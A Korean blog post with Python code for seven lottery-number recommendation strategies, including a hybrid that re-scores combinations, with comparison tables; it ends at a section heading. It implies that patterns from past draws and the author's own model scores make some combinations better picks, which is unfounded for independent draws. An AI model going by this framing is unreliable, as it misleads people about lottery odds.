&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7가지 번호 추천 전략 구현&lt;/b&gt;: 하이브리드 추천 시스템 설계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수 기반, 확률 가중치, 패턴, 그리드, 연속 번호, 무작위... 그리고 모든 것을 통합한 하이브리드. 일곱 가지 길이 펼쳐졌다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.shields.io/badge/Python-3.8+-blue.svg&quot; alt=&quot;Python&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/NumPy-1.24-orange.svg&quot; alt=&quot;NumPy&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/Random-Seed-green.svg&quot; alt=&quot;Random&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026-01-10 &lt;b&gt;난이도&lt;/b&gt;: ⭐⭐⭐⭐☆ &lt;b&gt;예상 소요 시간&lt;/b&gt;: 5-6시간 &lt;b&gt;버전&lt;/b&gt;: v3.0, v4.0&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mcAP2/dJMcadgn86w/KCOjiaoOt46RzP6tx3RXW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mcAP2/dJMcadgn86w/KCOjiaoOt46RzP6tx3RXW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mcAP2/dJMcadgn86w/KCOjiaoOt46RzP6tx3RXW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmcAP2%2FdJMcadgn86w%2FKCOjiaoOt46RzP6tx3RXW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1902&quot; height=&quot;544&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신러닝 모델이 605회를 학습했다. 14번 66.1점, 17번 66.1점. 점수도 나왔고, 패턴도 학습했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;이제 어떻게 조합할까?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수 순서대로? 확률 분포로? 패턴을 따라서? 그리드를 고려해서?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 가지 방법만으로는 부족했다. 각 방법은 나름의 장점이 있었고, 단점도 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 결정했다.&lt;br /&gt;&lt;b&gt;&quot;일곱 가지 전략을 모두 만들자.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 마지막에는 모든 전략을 통합한 &lt;b&gt;하이브리드(Hybrid)&lt;/b&gt;를 만들기로 했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  왜 다양한 전략이 필요한가?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;다양성이 곧 강점이다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;점수 기반만 사용 &amp;rarr; 항상 비슷한 조합&lt;/li&gt;
&lt;li&gt;확률만 사용 &amp;rarr; 너무 무작위적&lt;/li&gt;
&lt;li&gt;패턴만 사용 &amp;rarr; 유연성 부족&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여러 전략 제공 &amp;rarr; 사용자 선택권&lt;/li&gt;
&lt;li&gt;하이브리드 통합 &amp;rarr; 최고의 조합&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  7가지 추천 전략(Recommendation Strategies)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 1: 점수 기반 추천(Score-based)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 상위 점수 번호 중에서 선택&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_by_score(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;점수 기반 추천&quot;&quot;&quot;
    if seed is not None:
        np.random.seed(seed)

    # 상위 20개 번호
    top_20 = sorted(self.model.number_scores.items(),
                    key=lambda x: x[1]['total_score'],
                    reverse=True)[:20]
    top_numbers = [num for num, _ in top_20]

    recommendations = []
    for _ in range(n_combinations * 10):  # 10배 생성 후 필터링
        # 무작위로 6개 선택
        combo = sorted(np.random.choice(top_numbers, 6, replace=False))

        # 검증
        if self._validate_combination(combo, strict=True):
            recommendations.append(combo)

        if len(recommendations) &amp;gt;= n_combinations:
            break

    # 점수 순 정렬
    scored = [(combo, self._calculate_combination_score(combo))
              for combo in recommendations]
    scored.sort(key=lambda x: x[1], reverse=True)

    return [combo for combo, _ in scored[:n_combinations]]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 높은 점수의 번호 집중&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 다양성 부족&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 2: 확률 가중치 추천(Probability-weighted)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 점수 기반 확률 분포로 샘플링&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_by_probability(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;확률 가중치 추천&quot;&quot;&quot;
    if seed is not None:
        np.random.seed(seed)

    # 확률 가중치
    prob_weights = self.model.get_probability_weights()
    numbers = list(range(1, 46))
    probs = [prob_weights.get(n, 0) for n in numbers]

    recommendations = []
    for _ in range(n_combinations * 10):
        # 가중치 샘플링
        combo = sorted(np.random.choice(numbers, 6,
                                       replace=False, p=probs))

        if self._validate_combination(combo, strict=True):
            recommendations.append(combo)

        if len(recommendations) &amp;gt;= n_combinations:
            break

    return recommendations[:n_combinations]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 다양한 조합 생성&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 통제력 부족&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 3: 패턴 기반 추천(Pattern-based)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 가장 흔한 패턴 목표&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_by_pattern(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;패턴 기반 추천&quot;&quot;&quot;
    if seed is not None:
        np.random.seed(seed)

    # 목표 패턴
    target_section = (2, 2, 2)  # 저-중-고
    target_odd_even = (3, 3)    # 홀짝

    recommendations = []
    for _ in range(n_combinations * 20):
        combo = self._generate_pattern_combination(
            target_section, target_odd_even
        )

        if combo and self._validate_combination(combo, strict=True):
            recommendations.append(combo)

        if len(recommendations) &amp;gt;= n_combinations:
            break

    return recommendations[:n_combinations]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 역사적 패턴 준수&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 패턴에 너무 의존&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 4: 그리드 패턴 추천(Grid-based)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 7x7 그리드 위치 고려&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_grid_based(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;그리드 패턴 기반 추천&quot;&quot;&quot;
    if seed is not None:
        np.random.seed(seed)

    recommendations = []
    attempts = 0

    while len(recommendations) &amp;lt; n_combinations and attempts &amp;lt; n_combinations * 50:
        attempts += 1

        # 중간 영역에서 3-4개
        middle_count = np.random.choice([3, 4])
        middle_nums = [n for n in range(1, 46)
                      if self._get_grid_zone(n) == 'middle']
        selected_middle = list(np.random.choice(middle_nums,
                               middle_count, replace=False))

        # 나머지 영역에서 6-middle_count개
        remaining_zones = ['center', 'edge']
        remaining_nums = [n for n in range(1, 46)
                         if self._get_grid_zone(n) in remaining_zones]
        selected_remaining = list(np.random.choice(remaining_nums,
                                  6 - middle_count, replace=False))

        combo = sorted(selected_middle + selected_remaining)

        # 그리드 점수 확인
        grid_score = self._calculate_grid_score(combo)

        if grid_score &amp;gt;= 80 and self._validate_combination(combo, strict=True):
            recommendations.append(combo)

    return recommendations[:n_combinations]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 공간적 분포 최적화&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 복잡도 증가&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 5: 연속 번호 포함(Consecutive Numbers)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 인기 연속 쌍 활용&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_with_consecutive(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;연속 번호 포함 추천&quot;&quot;&quot;
    if seed is not None:
        np.random.seed(seed)

    # 인기 연속 쌍
    popular_consecutive = [(6, 7), (38, 39), (17, 18),
                          (3, 4), (14, 15)]

    recommendations = []
    for _ in range(n_combinations * 10):
        # 무작위로 연속 쌍 선택
        consecutive_pair = list(popular_consecutive[
            np.random.randint(len(popular_consecutive))
        ])

        # 나머지 4개 선택
        remaining_numbers = [n for n in range(1, 46)
                            if n not in consecutive_pair]
        remaining = list(np.random.choice(remaining_numbers, 4, replace=False))

        combo = sorted(consecutive_pair + remaining)

        if self._validate_combination(combo, strict=True):
            recommendations.append(combo)

        if len(recommendations) &amp;gt;= n_combinations:
            break

    return recommendations[:n_combinations]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 56% 출현 패턴 활용&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 연속 번호에 의존&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 6: 무작위 추천(Random)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 순수 무작위 (대조군, Control Group)&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_random(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;무작위 추천 (대조군)&quot;&quot;&quot;
    if seed is not None:
        np.random.seed(seed)

    recommendations = []
    for _ in range(n_combinations * 3):
        combo = sorted(np.random.choice(range(1, 46), 6, replace=False))

        if self._validate_combination(combo, strict=True):
            recommendations.append(combo)

        if len(recommendations) &amp;gt;= n_combinations:
            break

    return recommendations[:n_combinations]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 비교 기준&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 점수 낮음&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전략 7: ⭐ 하이브리드(Hybrid) - 최종 병기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개념:&lt;/b&gt; 4가지 전략 통합 및 재점수 계산&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def generate_hybrid(self, n_combinations=5, seed=None):
    &quot;&quot;&quot;하이브리드 추천: 4가지 전략 통합&quot;&quot;&quot;
    print(&quot;\n⭐ 하이브리드 추천 (최고 품질)&quot;)

    all_recommendations = []

    # 각 전략에서 2배씩 생성
    all_recommendations.extend(self.generate_by_score(n_combinations * 2, seed))
    all_recommendations.extend(self.generate_by_probability(n_combinations * 2, seed))
    all_recommendations.extend(self.generate_by_pattern(n_combinations * 2, seed))
    all_recommendations.extend(self.generate_grid_based(n_combinations * 2, seed))

    # 중복 제거
    unique_combos = []
    seen = set()
    for combo in all_recommendations:
        key = tuple(sorted(combo))
        if key not in seen:
            unique_combos.append(combo)
            seen.add(key)

    print(f&quot;  통합된 조합: {len(unique_combos)}개&quot;)

    # 재점수 계산 및 정렬
    scored = [(combo, self._calculate_combination_score(combo))
              for combo in unique_combos]
    scored.sort(key=lambda x: x[1], reverse=True)

    print(f&quot;\n최종 선정:&quot;)
    result = []
    for i, (combo, score) in enumerate(scored[:n_combinations], 1):
        result.append(combo)
        combo_sum = sum(combo)
        odd_count = sum(1 for n in combo if n % 2 == 1)
        even_count = 6 - odd_count
        print(f&quot;  {i}. {combo} (점수: {score:.1f}, 합: {combo_sum}, &quot;
              f&quot;홀{odd_count}/짝{even_count})&quot;)

    return result&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 최고 점수, 다양성, 패턴 모두 고려&lt;br /&gt;&lt;b&gt;단점:&lt;/b&gt; 실행 시간 증가&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  전략 비교 차트&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;2946&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zJksN/dJMcagjUH1B/mUse6niLgFbo5QbuDw3Ge0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zJksN/dJMcagjUH1B/mUse6niLgFbo5QbuDw3Ge0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zJksN/dJMcagjUH1B/mUse6niLgFbo5QbuDw3Ge0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzJksN%2FdJMcagjUH1B%2FmUse6niLgFbo5QbuDw3Ge0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2084&quot; height=&quot;2946&quot; data-origin-width=&quot;2084&quot; data-origin-height=&quot;2946&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 7가지 추천 전략 비교(Strategy Comparison) - 각 전략별 5개 조합&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;관찰:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하이브리드(Hybrid): 번호 분포가 가장 균형적&lt;/li&gt;
&lt;li&gt;점수 기반(Score-based): 상위 번호에 집중&lt;/li&gt;
&lt;li&gt;무작위(Random): 가장 분산됨&lt;/li&gt;
&lt;li&gt;그리드(Grid): 중간 영역 집중&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  조합 점수 분포&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;885&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIyHYA/dJMcahwmfna/6s1kHQqDjqULmPQ1KkFWd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIyHYA/dJMcahwmfna/6s1kHQqDjqULmPQ1KkFWd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIyHYA/dJMcahwmfna/6s1kHQqDjqULmPQ1KkFWd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIyHYA%2FdJMcahwmfna%2F6s1kHQqDjqULmPQ1KkFWd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;885&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;885&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 전략별 조합 점수 분포(Combination Score Distribution) - 박스플롯(Box Plot)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;통계:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;전략&lt;/th&gt;
&lt;th&gt;평균 점수&lt;/th&gt;
&lt;th&gt;중앙값&lt;/th&gt;
&lt;th&gt;최고 점수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Hybrid&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;475.3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;478.1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;483.2&lt;/b&gt; ⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Score-based&lt;/td&gt;
&lt;td&gt;472.1&lt;/td&gt;
&lt;td&gt;473.5&lt;/td&gt;
&lt;td&gt;480.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Probability&lt;/td&gt;
&lt;td&gt;458.3&lt;/td&gt;
&lt;td&gt;460.1&lt;/td&gt;
&lt;td&gt;470.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pattern&lt;/td&gt;
&lt;td&gt;455.7&lt;/td&gt;
&lt;td&gt;457.2&lt;/td&gt;
&lt;td&gt;462.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grid&lt;/td&gt;
&lt;td&gt;450.2&lt;/td&gt;
&lt;td&gt;452.8&lt;/td&gt;
&lt;td&gt;476.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Random&lt;/td&gt;
&lt;td&gt;425.8&lt;/td&gt;
&lt;td&gt;427.3&lt;/td&gt;
&lt;td&gt;445.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;하이브리드가 최고 점수&lt;/b&gt; (평균 475.3점)&lt;/li&gt;
&lt;li&gt;무작위는 약 50점 낮음&lt;/li&gt;
&lt;li&gt;박스플롯에서 하이브리드의 변동성 가장 작음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  하이브리드 프로세스&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2384&quot; data-origin-height=&quot;1770&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bel86s/dJMcahQFvdC/GVvosJuhUHXmzImg6ceG11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bel86s/dJMcahQFvdC/GVvosJuhUHXmzImg6ceG11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bel86s/dJMcahQFvdC/GVvosJuhUHXmzImg6ceG11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbel86s%2FdJMcahQFvdC%2FGVvosJuhUHXmzImg6ceG11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2384&quot; height=&quot;1770&quot; data-origin-width=&quot;2384&quot; data-origin-height=&quot;1770&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 하이브리드 전략 4단계 통합 프로세스(Integration Process)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4단계 프로세스:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Step 1: Score-based&lt;/b&gt; (10개 생성)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Step 2: Probability&lt;/b&gt; (10개 생성)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Step 3: Pattern&lt;/b&gt; (10개 생성)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Step 4: Grid&lt;/b&gt; (10개 생성)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;통합 및 중복 제거&lt;/b&gt; (약 25-30개)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;재점수 계산 및 정렬&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상위 N개 선정&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  추천 번호 빈도 분석&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TW5ok/dJMcacu3skA/koICKMOFKQ7oAev4aUqLw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TW5ok/dJMcacu3skA/koICKMOFKQ7oAev4aUqLw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TW5ok/dJMcacu3skA/koICKMOFKQ7oAev4aUqLw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTW5ok%2FdJMcacu3skA%2FkoICKMOFKQ7oAev4aUqLw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;884&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 하이브리드 추천에서 각 번호의 출현 빈도(Number Frequency) - 100개 조합 기준&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;TOP 10 추천 번호:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;번호&lt;/th&gt;
&lt;th&gt;추천 횟수&lt;/th&gt;
&lt;th&gt;빈도(Frequency)&lt;/th&gt;
&lt;th&gt;모델 점수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;14&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;68회&lt;/td&gt;
&lt;td&gt;68%&lt;/td&gt;
&lt;td&gt;66.1점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;17&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;65회&lt;/td&gt;
&lt;td&gt;65%&lt;/td&gt;
&lt;td&gt;66.1점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;11&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;62회&lt;/td&gt;
&lt;td&gt;62%&lt;/td&gt;
&lt;td&gt;62.5점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;58회&lt;/td&gt;
&lt;td&gt;58%&lt;/td&gt;
&lt;td&gt;62.0점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;55회&lt;/td&gt;
&lt;td&gt;55%&lt;/td&gt;
&lt;td&gt;58.1점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;52회&lt;/td&gt;
&lt;td&gt;52%&lt;/td&gt;
&lt;td&gt;56.2점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;50회&lt;/td&gt;
&lt;td&gt;50%&lt;/td&gt;
&lt;td&gt;55.8점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;48회&lt;/td&gt;
&lt;td&gt;48%&lt;/td&gt;
&lt;td&gt;66.1점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;45회&lt;/td&gt;
&lt;td&gt;45%&lt;/td&gt;
&lt;td&gt;59.5점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;43회&lt;/td&gt;
&lt;td&gt;43%&lt;/td&gt;
&lt;td&gt;61.9점&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;14번이 가장 많이 추천 (68%)&lt;/li&gt;
&lt;li&gt;모델 점수와 추천 빈도 상관관계 높음&lt;/li&gt;
&lt;li&gt;42번은 점수 높지만 추천 빈도 낮음 (부재 기간 때문)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  점수 구성요소 분해&lt;/h2&gt;
